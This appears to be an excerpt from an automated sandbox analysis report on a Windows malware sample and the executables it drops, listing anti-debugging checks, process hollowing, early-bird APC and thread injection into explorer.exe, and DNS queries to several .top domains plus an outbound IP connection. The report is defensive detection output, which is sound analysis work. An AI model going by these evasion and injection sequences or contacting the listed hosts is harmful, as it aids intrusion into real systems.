Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE32AE4 mov eax, dword ptr fs:[00000030h]	29_2_6CE32AE4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05AC0 mov eax, dword ptr fs:[00000030h]	29_2_6CE05AC0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05AC0 mov eax, dword ptr fs:[00000030h]	29_2_6CE05AC0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05AC0 mov eax, dword ptr fs:[00000030h]	29_2_6CE05AC0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE32ACB mov eax, dword ptr fs:[00000030h]	29_2_6CE32ACB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03ACA mov eax, dword ptr fs:[00000030h]	29_2_6CE03ACA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8ADD mov eax, dword ptr fs:[00000030h]	29_2_6CED8ADD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE01AA0 mov eax, dword ptr fs:[00000030h]	29_2_6CE01AA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE35AA0 mov eax, dword ptr fs:[00000030h]	29_2_6CE35AA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE35AA0 mov eax, dword ptr fs:[00000030h]	29_2_6CE35AA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE052A5 mov eax, dword ptr fs:[00000030h]	29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE052A5 mov eax, dword ptr fs:[00000030h]	29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE052A5 mov eax, dword ptr fs:[00000030h]	29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE052A5 mov eax, dword ptr fs:[00000030h]	29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE052A5 mov eax, dword ptr fs:[00000030h]	29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE312BD mov esi, dword ptr fs:[00000030h]	29_2_6CE312BD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE312BD mov eax, dword ptr fs:[00000030h]	29_2_6CE312BD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE312BD mov eax, dword ptr fs:[00000030h]	29_2_6CE312BD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3D294 mov eax, dword ptr fs:[00000030h]	29_2_6CE3D294
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3D294 mov eax, dword ptr fs:[00000030h]	29_2_6CE3D294
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBB260 mov eax, dword ptr fs:[00000030h]	29_2_6CEBB260
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBB260 mov eax, dword ptr fs:[00000030h]	29_2_6CEBB260
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8A62 mov eax, dword ptr fs:[00000030h]	29_2_6CED8A62
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4927A mov eax, dword ptr fs:[00000030h]	29_2_6CE4927A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02240 mov ecx, dword ptr fs:[00000030h]	29_2_6CE02240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02240 mov eax, dword ptr fs:[00000030h]	29_2_6CE02240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE09240 mov eax, dword ptr fs:[00000030h]	29_2_6CE09240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE09240 mov eax, dword ptr fs:[00000030h]	29_2_6CE09240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE09240 mov eax, dword ptr fs:[00000030h]	29_2_6CE09240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE09240 mov eax, dword ptr fs:[00000030h]	29_2_6CE09240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE94248 mov eax, dword ptr fs:[00000030h]	29_2_6CE94248
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE94257 mov eax, dword ptr fs:[00000030h]	29_2_6CE94257
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE04A20 mov eax, dword ptr fs:[00000030h]	29_2_6CE04A20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE04A20 mov eax, dword ptr fs:[00000030h]	29_2_6CE04A20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE8EA20 mov eax, dword ptr fs:[00000030h]	29_2_6CE8EA20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE08239 mov eax, dword ptr fs:[00000030h]	29_2_6CE08239
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE08239 mov eax, dword ptr fs:[00000030h]	29_2_6CE08239
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE08239 mov eax, dword ptr fs:[00000030h]	29_2_6CE08239
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE18A0A mov eax, dword ptr fs:[00000030h]	29_2_6CE18A0A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05210 mov eax, dword ptr fs:[00000030h]	29_2_6CE05210
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05210 mov ecx, dword ptr fs:[00000030h]	29_2_6CE05210
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05210 mov eax, dword ptr fs:[00000030h]	29_2_6CE05210
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05210 mov eax, dword ptr fs:[00000030h]	29_2_6CE05210
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE23A1C mov eax, dword ptr fs:[00000030h]	29_2_6CE23A1C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB23E3 mov ecx, dword ptr fs:[00000030h]	29_2_6CEB23E3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB23E3 mov ecx, dword ptr fs:[00000030h]	29_2_6CEB23E3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB23E3 mov eax, dword ptr fs:[00000030h]	29_2_6CEB23E3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE01BE9 mov eax, dword ptr fs:[00000030h]	29_2_6CE01BE9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2DBE9 mov eax, dword ptr fs:[00000030h]	29_2_6CE2DBE9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE023F6 mov eax, dword ptr fs:[00000030h]	29_2_6CE023F6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE853CA mov eax, dword ptr fs:[00000030h]	29_2_6CE853CA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE853CA mov eax, dword ptr fs:[00000030h]	29_2_6CE853CA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1BA8 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1BA8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34BAD mov eax, dword ptr fs:[00000030h]	29_2_6CE34BAD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34BAD mov eax, dword ptr fs:[00000030h]	29_2_6CE34BAD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34BAD mov eax, dword ptr fs:[00000030h]	29_2_6CE34BAD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED9BBE mov eax, dword ptr fs:[00000030h]	29_2_6CED9BBE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8BB6 mov eax, dword ptr fs:[00000030h]	29_2_6CED8BB6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEAEB8A mov ecx, dword ptr fs:[00000030h]	29_2_6CEAEB8A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEAEB8A mov eax, dword ptr fs:[00000030h]	29_2_6CEAEB8A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEAEB8A mov eax, dword ptr fs:[00000030h]	29_2_6CEAEB8A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEAEB8A mov eax, dword ptr fs:[00000030h]	29_2_6CEAEB8A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC138A mov eax, dword ptr fs:[00000030h]	29_2_6CEC138A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE04B94 mov edi, dword ptr fs:[00000030h]	29_2_6CE04B94
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE33B7A mov eax, dword ptr fs:[00000030h]	29_2_6CE33B7A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE33B7A mov eax, dword ptr fs:[00000030h]	29_2_6CE33B7A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0F340 mov eax, dword ptr fs:[00000030h]	29_2_6CE0F340
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8B58 mov eax, dword ptr fs:[00000030h]	29_2_6CED8B58
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE33B5A mov eax, dword ptr fs:[00000030h]	29_2_6CE33B5A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE33B5A mov eax, dword ptr fs:[00000030h]	29_2_6CE33B5A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE33B5A mov eax, dword ptr fs:[00000030h]	29_2_6CE33B5A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE33B5A mov eax, dword ptr fs:[00000030h]	29_2_6CE33B5A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE94320 mov eax, dword ptr fs:[00000030h]	29_2_6CE94320
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC131B mov eax, dword ptr fs:[00000030h]	29_2_6CEC131B
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Code function: 33_2_02E4D75E push dword ptr fs:[00000030h]	33_2_02E4D75E
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_00416842 mov eax, dword ptr fs:[00000030h]	35_2_00416842
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_00412AB1 mov eax, dword ptr fs:[00000030h]	35_2_00412AB1

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe

Code function: 0_2_00425060 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00425060

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

Code function: 35_2_00401F20 GetUserNameW,GetUserNameW,GetProcessHeap,GetProcessHeap,HeapAlloc,GetUserNameW,LookupAccountNameW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,LookupAccountNameW,ConvertSidToStringSidW,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,LocalFree,

35_2_00401F20

Source: C:\Users\user\AppData\Local\Temp\2E6C.exe

Code function: 29_2_6CE36B90 rdtsc

29_2_6CE36B90

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe

Code function: 3_1_004026C8 LdrLoadDll,

3_1_004026C8

Source: C:\Users\user\AppData\Local\Temp\B4BD.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 0_2_00422240 _memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00422240
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 0_2_00425060 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00425060
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 0_2_00420B60 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00420B60
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 18_2_0041CC60 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_0041CC60
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 18_2_004203D0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_004203D0
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_00410E58 SetUnhandledExceptionFilter,	35_2_00410E58
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_004110A3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	35_2_004110A3
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_00415393 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	35_2_00415393
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 35_2_00410CF3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	35_2_00410CF3

HIPS / PFW / Operating System Protection Evasion:

Early bird code injection technique detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

Process created / APC Queued / Resumed: C:\Users\user\AppData\Local\Temp\39F6.exe

Jump to behavior

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Domain query: znpst.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: DC45.exe.12.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Memory written: C:\Users\user\Desktop\CFE9H9mdWr.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Memory written: C:\Users\user\AppData\Roaming\bsstvub base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Memory written: C:\Users\user\AppData\Local\Temp\12C6.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Memory written: C:\Users\user\AppData\Local\Temp\39F6.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Memory written: C:\Users\user\AppData\Local\Temp\4F44.exe base: 400000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe

Code function: 0_2_00960110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_00960110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Thread created: C:\Windows\explorer.exe EIP: 4E91920	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Thread created: unknown EIP: 4EE1920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Thread created: unknown EIP: 5AC1920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Thread created: unknown EIP: 5DA19C0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Thread created: unknown EIP: 5C11920

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Section unmapped: unknown base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Section unmapped: unknown base address: 400000	Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

Thread APC queued: target process: C:\Users\user\AppData\Local\Temp\39F6.exe

Jump to behavior

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Process created: C:\Users\user\Desktop\CFE9H9mdWr.exe 'C:\Users\user\Desktop\CFE9H9mdWr.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Process created: C:\Users\user\AppData\Roaming\bsstvub C:\Users\user\AppData\Roaming\bsstvub	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Process created: C:\Users\user\AppData\Local\Temp\12C6.exe C:\Users\user\AppData\Local\Temp\12C6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process created: C:\Users\user\AppData\Local\Temp\39F6.exe 39F6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process created: C:\Users\user\AppData\Local\Temp\4F44.exe C:\Users\user\AppData\Local\Temp\4F44.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\2E6C.exe

Code function: 29_2_6CE3E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,

29_2_6CE3E730

Source: explorer.exe, 0000000C.00000000.329122432.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: explorer.exe, 0000000C.00000000.296844840.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000C.00000000.296844840.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000C.00000000.296844840.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000C.00000000.296844840.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
